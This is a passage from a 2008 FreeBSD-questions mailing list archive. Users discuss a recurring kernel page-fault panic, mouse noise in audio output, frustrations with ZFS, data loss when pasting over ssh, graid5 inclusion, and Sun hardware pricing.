Dell dual CPU/quad core Xeon. Runs FBSD 6.2. Custom kernel, with IPFW compiled in and using SMP. FreeBSD 6.2-RELEASE FreeBSD 6.2-RELEASE #1: Wed Jan 23 12:17:29 PST 2008 It runs, Dovecot, Postfix, Mysql, Apache. Standard email stuff. Put into production in March, ran perfect until July 29th when it rebooted by itself. It rebooted 2 more times in the last few months on its own. But in the last 6 weeks it has become a weekly occurance, with uptime no more than 6-7 days at most. The last 2 times I have cores and have run kgdb on them. Both vmcore's show the same things. Same pointers etc, the only difference is what the cpuid was at the time. ====== kernel trap 12 with interrupts disabled Fatal trap 12: page fault while in kernel mode cpuid = 2; apic id = 02 fault virtual address = 0x104 fault code = supervisor read, page not present instruction pointer = 0x20:0xc066ca51 stack pointer = 0x28:0xe6ec0c90 frame pointer = 0x28:0xe6ec0c9c code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = resume, IOPL = 0 current process = 9 (thread taskq) trap number = 12 panic: page fault cpuid = 2 Uptime: 6d6h23m45s Dumping 3327 MB (2 chunks) chunk 0: 1MB (159 pages) ... ok chunk 1: 3327MB (851624 pages) 3311 3295 3279 3263 3247 3231 3215 3199 3183 3167 3151 3135 3119 3103 3087 3071 3055 3039 3023 3007 2991 2975 2959 2943 2927 2911 2895 2879 2863 2847 2831 2815 2799 2783 2767 2751 2735 2719 2703 2687 2671 2655 2639 2623 2607 2591 2575 2559 2543 2527 2511 2495 2479 2463 2447 2431 2415 2399 2383 2367 2351 2335 2319 2303 2287 2271 2255 2239 2223 2207 2191 2175 2159 2143 2127 2111 2095 2079 2063 2047 2031 2015 1999 1983 1967 1951 1935 1919 1903 1887 1871 1855 1839 1823 1807 1791 1775 1759 1743 1727 1711 1695 1679 1663 1647 1631 1615 1599 1583 1567 1551 1535 1519 1503 1487 1471 1455 1439 1423 1407 1391 1375 1359 1343 1327 1311 1295 1279 1263 1247 1231 1215 1199 1183 1167 1151 1135 1119 1103 1087 1071 1055 1039 1023 1007 991 975 959 943 927 911 895 879 863 847 831 815 799 783 767 751 735 719 703 687 671 655 639 623 607 591 575 559 543 527 511 495 479 463 447 431 415 399 383 367 351 335 319 303 287 271 255 239 223 207 191 175 159 143 127 111 95 79 63 47 31 15 #0 doadump () at pcpu.h:165 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); ============ What might be the cause for this? It is the in the same place every time. Once the machine hung and had to be powercycled. But on the screen was the same page fault error on the same process. Is this flaky hardware? Thanks, Keith. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:00:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9FCA2106564A for ; Mon, 1 Dec 2008 19:00:40 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 5A6038FC17 for ; Mon, 1 Dec 2008 19:00:40 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx02.qsc.de (Postfix) with ESMTP id E8F2216C00BC; Mon, 1 Dec 2008 20:00:37 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB1J0aEN001686; Mon, 1 Dec 2008 20:00:36 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Mon, 1 Dec 2008 20:00:36 +0100 From: Polytropon To: bryant.eadon@gmail.com Message-Id: <20081201200036.f7bdaace.freebsd@edvax.de> In-Reply-To: <4933E969.80804@gmail.com> References: <20081129183517.D11614@wojtek.tensor.gdynia.pl> <4933E969.80804@gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Wojciech Puchar , FreeBSD Questions , Roey Dror Subject: Re: Noisy mouse X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:00:40 -0000 On Mon, 01 Dec 2008 08:40:57 -0500, Bryant Eadon wrote: > I've actually had this happen before. Somewhere along the line either : > 1. your audio and mouse/keyboard cables are coming into close proximity to > one another. > or > 2. Your mouse/kb cable is very close to a specific speaker. Number 2 is untypical. Using headphones or external speakers, even an external (and distant) amplifier with speakers leads to the same observation. As it has mentioned before, this seems to be an effect of interferences either in the area of the connection cables or within the computer (AF signal processing and amplification gets interference signals from keyboard / mouse connections). > The solution is to move your mouse cable away from your speakers/cables. But not if the problem is within the computer (read: the mainboard and the expansion cards). > I > guess you could shield it if you can't move it. Tinfoil around only the one > cable at close proximity sections should do the trick. Or the use of home-made shielded cables. :-) -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:21:39 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 288491065678 for ; Mon, 1 Dec 2008 19:21:39 +0000 (UTC) (envelope-from kirk@strauser.com) Received: from kanga.honeypot.net (kanga.honeypot.net [IPv6:2001:470:a80a:1:21f:d0ff:fe22:b8a8]) by mx1.freebsd.org (Postfix) with ESMTP id D566C8FC0C for ; Mon, 1 Dec 2008 19:21:38 +0000 (UTC) (envelope-from kirk@strauser.com) Received: from localhost (localhost [127.0.0.1]) by kanga.honeypot.net (Postfix) with ESMTP id 68361314E1; Mon, 1 Dec 2008 13:21:38 -0600 (CST) X-Virus-Scanned: amavisd-new at honeypot.net Received: from kanga.honeypot.net ([127.0.0.1]) by localhost (kanga.honeypot.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id x-yqoel97Cbn; Mon, 1 Dec 2008 13:21:36 -0600 (CST) Received: from athena.localnet (athena.daycos.com [IPv6:2001:470:c054:1:221:9bff:fe00:de3f]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by kanga.honeypot.net (Postfix) with ESMTPSA id 1611C314DA; Mon, 1 Dec 2008 13:21:36 -0600 (CST) From: Kirk Strauser To: Wojciech Puchar Date: Mon, 1 Dec 2008 13:21:43 -0600 User-Agent: KMail/1.10.1 (Linux/2.6.27-7-generic; KDE/4.1.2; x86_64; ; ) References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> In-Reply-To: <20081201184722.S10680@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812011321.43430.kirk@strauser.com> Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:21:39 -0000 On Monday 01 December 2008 11:49:46 Wojciech Puchar wrote: > UFS is excellent. your problem is that you like to have "lots of > filesystems". why don't just make one or one per disk? For all the usual reasons: faster fsck, ability to set attributes on each filesystem (noexec, noatime, ro), a runaway process writing to /tmp won't cause problems in /var, etc. A big local reason is that Amanda is much easier to configure when you're using a bunch of filesystems because it runs tar with --one-file-system set. If /var is separate from / and I want to back them up separately, I just tell Amanda to dump / and /var. If /var is part of / then I have to say "dump / except for /var (and /tmp and /usr and ...)". > i have one per disk/mirror configuration everywhere except one place where > i made separate filesystem for /var/spool/squid for some reasons. Oh, there are definitely advantages to that setup. It just complicates certain admin functions (see above). With something like ZFS that makes creating new filesystems trivially easy, they're nice to use. > tell me what's your needs and how many/what disks you have. Right now I have a 750GB (with another on order) and a 320GB. The box is a multi-purpose home server with mail, several websites, and a bunch of local file streaming (from MP3 and ripped DVDs to Apple's Time Machine storage). > UFS is best-performer on real load, runs on almost no RAM, but uses more > if available for caching. That's my main beef with ZFS at the moment. I don't mind if it uses a lot of RAM - that's what I bought it for! - but that it doesn't seem to use it effectively (at least on my workload). - Kirk From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 18:17:09 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 50DB91065673 for ; Mon, 1 Dec 2008 18:17:09 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from yx-out-2122.google.com (yx-out-2122.google.com [74.125.44.25]) by mx1.freebsd.org (Postfix) with ESMTP id 0C58B8FC1A for ; Mon, 1 Dec 2008 18:17:08 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by yx-out-2122.google.com with SMTP id 35so752291yxh.13 for ; Mon, 01 Dec 2008 10:17:08 -0800 (PST) MIME-Version: 1.0 Received: by 10.151.112.12 with SMTP id p12mr920668ybm.2.1228155428493; Mon, 01 Dec 2008 10:17:08 -0800 (PST) Date: Mon, 1 Dec 2008 10:17:08 -0800 (PST) In-Reply-To: <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> X-IP: 83.237.103.45 References: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> User-Agent: G2/1.0 X-HTTP-UserAgent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1, gzip(gfe), gzip(gfe) Message-ID: <9284e88e-ae6b-4164-888d-01913a0f7669@e18g2000yqo.googlegroups.com> From: Eugene Pimenov To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: quoted-printable X-Mailman-Approved-At: Mon, 01 Dec 2008 19:24:22 +0000 Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 18:17:09 -0000 On 1 =E4=E5=EA, 15:52, Mel wrote: > On Monday 01 December 2008 10:33:17 Eugene Pimenov wrote: > > inetd: > $ grep telnet /etc/inetd.conf > #telnet stream =A0tcp =A0 =A0 nowait =A0root =A0 =A0/usr/libexec/telnetd = =A0 =A0telnetd > #telnet stream =A0tcp6 =A0 =A0nowait =A0root =A0 =A0/usr/libexec/telnetd = =A0 =A0telnetd > > Quick setup: > remove appropreate hashmark above > /etc/rc.d/inetd onestart It works :( All 6060 bytes are saved. > > > I tried ssh -vvv, nothing between connect and disconnect. > > > It's definitely not an EOF. It just loses some part of data, doesn't > > stop receiving after some point. > > Where does it get lost? Meaning, does it get over the wire? Hard to check > encrypted, but a 3k diff should show up in number of the IP packets sent.= Is > it possible to compare tcpdump linux <-> linux vs linux <-> freebsd on th= e > receiving end? I'm on Mac OS X, so tcpdumps: I to freebsd http://pastie.org/327953.txt?key=3Dzaehiz6bxcxs3rjuyfbtyq freebsd to me http://pastie.org/327954.txt?key=3Dautckpywar1mkngb9re0w I to linux http://pastie.org/327955.txt?key=3Dklqvsd73l3flhayoykeeq linux to me http://pastie.org/327952.txt?key=3Duu1cpgleuhnctwcuqzxlw However, I'm not sure it's helpful. I mean you can't look inside a packet, because it was encrypted. Headers and packet size depends on many factors. For example, if you compare linux and freebsd tcpdumps here, you'll see that freebsd ignore packet's checksums and linux has tcp timestamps turned off, and so on. > > -- > Mel From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:24:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9C38A1065670 for ; Mon, 1 Dec 2008 19:24:50 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173]) by mx1.freebsd.org (Postfix) with ESMTP id 272318FC12 for ; Mon, 1 Dec 2008 19:24:49 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by ug-out-1314.google.com with SMTP id 30so2670214ugs.39 for ; Mon, 01 Dec 2008 11:24:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=a+tJtBxU9ot+K19kSnb8P3Lhgq6cEln604PmqvKBvl4=; b=wRiQ3On5fHoMYzNbxaIrJaXNx4wB6RUn1BqBsuJkFDCGm7ulqOoLC/VxV30VkYtieW ArDwbueA/Za4tBuxA0J4UmAWMZtDuclo7oX7nHrBItWCOXQaUYMhcPJcDoX+qevLV+Qh N3CjIBg4hwQpujG+9tDAGB73qWs338pfXYzf4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=StaxQapLf6Mzt81Tq66sVE/4Ov/fwCWCHmQ+W0k+gQBuqxF6UQbFyFzymGnjXWj0yd zsS8e43JlqIUa5qeOY0coTF95m+PSdPE2Bb0cmWoVGqhZee4jROYNyBYFk0gxvkxDSWc YqvvKeFIcutEDGcFQGIMeIQuPD/2GgxpQFqsI= Received: by 10.210.67.4 with SMTP id p4mr265514eba.183.1228159488785; Mon, 01 Dec 2008 11:24:48 -0800 (PST) Received: by 10.210.117.7 with HTTP; Mon, 1 Dec 2008 11:24:48 -0800 (PST) Message-ID: <139b44430812011124j135c1889x71008fd39094c347@mail.gmail.com> Date: Mon, 1 Dec 2008 21:24:48 +0200 From: "Valentin Bud" To: "Kirk Strauser" In-Reply-To: <200812010959.15647.kirk@strauser.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <200812010959.15647.kirk@strauser.com> Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:24:50 -0000 On Mon, Dec 1, 2008 at 5:59 PM, Kirk Strauser wrote: > I have ZFS on my 7.1-PRERELEASE system, and while it does some spiffy things, > in general I'm a bit underwhelmed. > > PROS: > > Adding new filesystems on a whim is really nice. yes it is. > > It has a lot of really cool other features that I will probably never need. then you don't need ZFS. usually you choose a technology because you need it. if you don't need it then you don't use it. pure simple. > > CONS: > > I have nearly 3GB of wired RAM, but it doesn't seem to be all that fast. > For example, starting an Amanda backup on a UFS2 filesystem would get through > the "estimate" phase almost instantly on a system that had been up for several > days because of cached filesystem data. On ZFS, it still limps along even if I > just finished the last backup a few minutes earlier. it's all about compromises. uses lots of ram *but* gives you the ability to add new filesystems on the run. and after all it's all about choices. v > > Other than saying "I'm using ZFS", I don't seem to have much to show for it. > > WTF: > > "Raidz and top-level vdevs cannot be removed from a pool." > > > At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to > give up that easy addition of new filesystems. I *could* have a single 700GB > root FS but that just doesn't seem right. Are there any good, tested GEOM- > based ways of getting that functionality, perhaps along the lines of using > something like gvirstor and growfs as needed? > > - Kirk > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:31:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C6B421065673 for ; Mon, 1 Dec 2008 19:31:29 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 8B0688FC12 for ; Mon, 1 Dec 2008 19:31:29 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 2A86CAFC1C6; Mon, 1 Dec 2008 10:31:28 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Mon, 1 Dec 2008 20:31:24 +0100 User-Agent: KMail/1.9.7 References: <20081201101311.C81770@pop.citytel.net> In-Reply-To: <20081201101311.C81770@pop.citytel.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> Cc: Keith Subject: Re: Page Fault. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:31:29 -0000 On Monday 01 December 2008 19:32:59 Keith wrote: > Have a machine, Dell dual CPU/quad core Xeon. Runs FBSD 6.2. > Custom kernel, with IPFW compiled in and using SMP. > > FreeBSD 6.2-RELEASE FreeBSD 6.2-RELEASE #1: Wed Jan 23 > 12:17:29 PST 2008 > > It runs, Dovecot, Postfix, Mysql, Apache. Standard email stuff. Put into > production in March, ran perfect until July 29th when it rebooted by > itself. > > It rebooted 2 more times in the last few months on its own. But in the > last 6 weeks it has become a weekly occurance, with uptime no more than > 6-7 days at most. > > The last 2 times I have cores and have run kgdb on them. Both vmcore's > show the same things. Same pointers etc, the only difference is what the > cpuid was at the time. > > ====== > kernel trap 12 with interrupts disabled > > Fatal trap 12: page fault while in kernel mode > cpuid = 2; apic id = 02 > fault virtual address = 0x104 > fault code = supervisor read, page not present > instruction pointer = 0x20:0xc066ca51 > stack pointer = 0x28:0xe6ec0c90 > frame pointer = 0x28:0xe6ec0c9c > code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 > processor eflags = resume, IOPL = 0 > current process = 9 (thread taskq) > trap number = 12 > panic: page fault > cpuid = 2 > Uptime: 6d6h23m45s > Dumping 3327 MB (2 chunks) > chunk 0: 1MB (159 pages) ... ok > chunk 1: 3327MB (851624 pages) 3311 3295 3279 3263 3247 3231 3215 3199 > 3183 3167 3151 3135 3119 3103 3087 3071 3055 3039 3023 3007 2991 2975 2959 > 2943 2927 2911 2895 2879 2863 2847 2831 2815 2799 2783 2767 2751 2735 2719 > 2703 2687 2671 2655 2639 2623 2607 2591 2575 2559 2543 2527 2511 2495 2479 > 2463 2447 2431 2415 2399 2383 2367 2351 2335 2319 2303 2287 2271 2255 2239 > 2223 2207 2191 2175 2159 2143 2127 2111 2095 2079 2063 2047 2031 2015 1999 > 1983 1967 1951 1935 1919 1903 1887 1871 1855 1839 1823 1807 1791 1775 1759 > 1743 1727 1711 1695 1679 1663 1647 1631 1615 1599 1583 1567 1551 1535 1519 > 1503 1487 1471 1455 1439 1423 1407 1391 1375 1359 1343 1327 1311 1295 1279 > 1263 1247 1231 1215 1199 1183 1167 1151 1135 1119 1103 1087 1071 1055 1039 > 1023 1007 991 975 959 943 927 911 895 879 863 847 831 815 799 783 767 751 > 735 719 703 687 671 655 639 623 607 591 575 559 543 527 511 495 479 463 > 447 431 415 399 383 367 351 335 319 303 287 271 255 239 223 207 191 175 > 159 143 127 111 95 79 63 47 31 15 > > #0 doadump () at pcpu.h:165 > 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); > ============ > > What might be the cause for this? It is the in the same place every time. > Once the machine hung and had to be powercycled. But on the screen was the > same page fault error on the same process. > frame 0 useless. You need the frame after calltrap(). And: > instruction pointer = 0x20:0xc066ca51 list *0xc066ca51 Generally a bt will show the needed information. Likely cause: file system corruption, caused by background_fsck, but a backtrace should show more. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:34:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 922E51065677 for ; Mon, 1 Dec 2008 19:34:40 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 0F62A8FC18 for ; Mon, 1 Dec 2008 19:34:39 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L7EXS-0002vz-6S for freebsd-questions@freebsd.org; Mon, 01 Dec 2008 19:34:34 +0000 Received: from 78-1-141-143.adsl.net.t-com.hr ([78.1.141.143]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 01 Dec 2008 19:34:34 +0000 Received: from ivoras by 78-1-141-143.adsl.net.t-com.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 01 Dec 2008 19:34:34 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Mon, 01 Dec 2008 20:34:20 +0100 Lines: 56 Message-ID: References: <200812011645.mB1GjBWj016342@brother.ludd.ltu.se> <49342833.4070904@skoberne.net> <20081201191042.N10784@wojtek.tensor.gdynia.pl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig73C123867557D65789C4CEF0" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 78-1-141-143.adsl.net.t-com.hr User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) In-Reply-To: <20081201191042.N10784@wojtek.tensor.gdynia.pl> X-Enigmail-Version: 0.95.7 Sender: news Subject: Re: RAID5 on FreeBSD 6 or 7 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:34:40 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig73C123867557D65789C4CEF0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Wojciech Puchar wrote: >> fast, though. See it's page on Wikipedia for more info. I'd use it >> more if it >> was part of official FreeBSD release, but for now it is only available= >> as a >> patch (AFAIK). >=20 > which is strange. someone don't like RAID5 to be included in system? I'd like to see graid5 in the base system but I'm also one of those who sort-of held it back from being imported, at least by inaction. The reasons are: a) Last time there was discussion about including it (it's available somewhere in the freebsd-geom list archives) an issue was raised about its over-aggressive use of caching that is turned *on* by default. IIRC it's also likely that the design of the current code doesn't allow turning it off. I suppose this is what makes it fast but the concerns for data stability / corruption are real and not imaginary. b) It was developed by a non-developer. This in itself says nothing about the quality or the lack of quality of the code and is technically irrelevant but there are couple of organizational issues: 1) it needs someone to look after it when it's imported 2) it needs to conform to the style and code layout rules of the project= I can't find the patch right now so I can't say for sure what is its state now. I believe that if issues a) and b.2) are solved there would be no problems or objections in importing it. (It could be said that ZFS makes it obsolete, but it's not so - lightweight RAID and file systems will always have their use). --------------enig73C123867557D65789C4CEF0 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkk0PDwACgkQldnAQVacBcgMKgCbBIK+soBD748ohlElhMR4Oqwh 6xcAnj2qcediqz7rBndXZ9TLLYnhoUDR =zHLz -----END PGP SIGNATURE----- --------------enig73C123867557D65789C4CEF0-- From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:35:59 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 038761065675 for ; Mon, 1 Dec 2008 19:35:59 +0000 (UTC) (envelope-from kirk@strauser.com) Received: from kanga.honeypot.net (kanga.honeypot.net [IPv6:2001:470:a80a:1:21f:d0ff:fe22:b8a8]) by mx1.freebsd.org (Postfix) with ESMTP id A83898FC1F for ; Mon, 1 Dec 2008 19:35:58 +0000 (UTC) (envelope-from kirk@strauser.com) Received: from localhost (localhost [127.0.0.1]) by kanga.honeypot.net (Postfix) with ESMTP id 1314531657; Mon, 1 Dec 2008 13:35:58 -0600 (CST) X-Virus-Scanned: amavisd-new at honeypot.net Received: from kanga.honeypot.net ([127.0.0.1]) by localhost (kanga.honeypot.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 3u6Y3S00zS5N; Mon, 1 Dec 2008 13:35:55 -0600 (CST) Received: from athena.localnet (athena.daycos.com [IPv6:2001:470:c054:1:221:9bff:fe00:de3f]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by kanga.honeypot.net (Postfix) with ESMTPSA id 67A8C3164C; Mon, 1 Dec 2008 13:35:55 -0600 (CST) From: Kirk Strauser To: "Valentin Bud" Date: Mon, 1 Dec 2008 13:36:02 -0600 User-Agent: KMail/1.10.1 (Linux/2.6.27-7-generic; KDE/4.1.2; x86_64; ; ) References: <200812010959.15647.kirk@strauser.com> <139b44430812011124j135c1889x71008fd39094c347@mail.gmail.com> In-Reply-To: <139b44430812011124j135c1889x71008fd39094c347@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812011336.02805.kirk@strauser.com> Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:35:59 -0000 On Monday 01 December 2008 13:24:48 Valentin Bud wrote: > On Mon, Dec 1, 2008 at 5:59 PM, Kirk Strauser wrote: > > It has a lot of really cool other features that I will probably never > > need. > then you don't need ZFS. usually you choose a technology because you need > it. if you don't need it then you don't use it. pure simple. Well, there are always external considerations: when my boss asks me about it, it'll be nice to have personal experience. I deploy a lot of stuff at home with an eye toward trying it at work down the road. - Kirk From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:42:35 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1F4531065678 for ; Mon, 1 Dec 2008 19:42:35 +0000 (UTC) (envelope-from dick@nagual.nl) Received: from nagual.nl (cc20684-a.assen1.dr.home.nl [82.74.10.158]) by mx1.freebsd.org (Postfix) with ESMTP id A36638FC14 for ; Mon, 1 Dec 2008 19:42:34 +0000 (UTC) (envelope-from dick@nagual.nl) Received: from westmark (westmark.nagual.nl [192.168.11.22]) by nagual.nl (8.13.8+Sun/8.13.8/yanta) with SMTP id mB1JhwLO008734 for ; Mon, 1 Dec 2008 20:43:58 +0100 (CET) Date: Mon, 1 Dec 2008 20:42:27 +0100 From: dick hoogendijk To: freebsd-questions@freebsd.org Message-Id: <20081201204227.f172e9e2.dick@nagual.nl> In-Reply-To: <20081201193722.A10843@wojtek.tensor.gdynia.pl> References: <20081118141648.M84450@wojtek.tensor.gdynia.pl> <1110372547-1227199990-cardhu_decombobulator_blackberry.rim.net-585491769-@bxe064.bisx.produk.on.blackberry> <20081121211828.GA9493@kokopelli.hydra> <20081201193722.A10843@wojtek.tensor.gdynia.pl> Organization: de nagual X-Mailer: Sylpheed 2.5.0 (GTK+ 2.14.3; i386-pc-solaris2.11) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.63 on 192.168.11.35 Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:42:35 -0000 On Mon, 1 Dec 2008 19:39:39 +0100 (CET) Wojciech Puchar wrote: > there is no sense of buying Sun hardware. they make excellent > hardware but with more than "excellent" price You are right about that. The quality is very high; prices are too. > and their unix is damn slow compared to FreeBSD. These kinds of personal (subjective) remarks are FUD if you don't deliver the test results. -- Dick Hoogendijk -- PGP/GnuPG key: 01D2433D + http://nagual.nl/ | SunOS sxce snv103 ++ + All that's really worth doing is what we do for others (Lewis Carrol) From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 19:45:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org 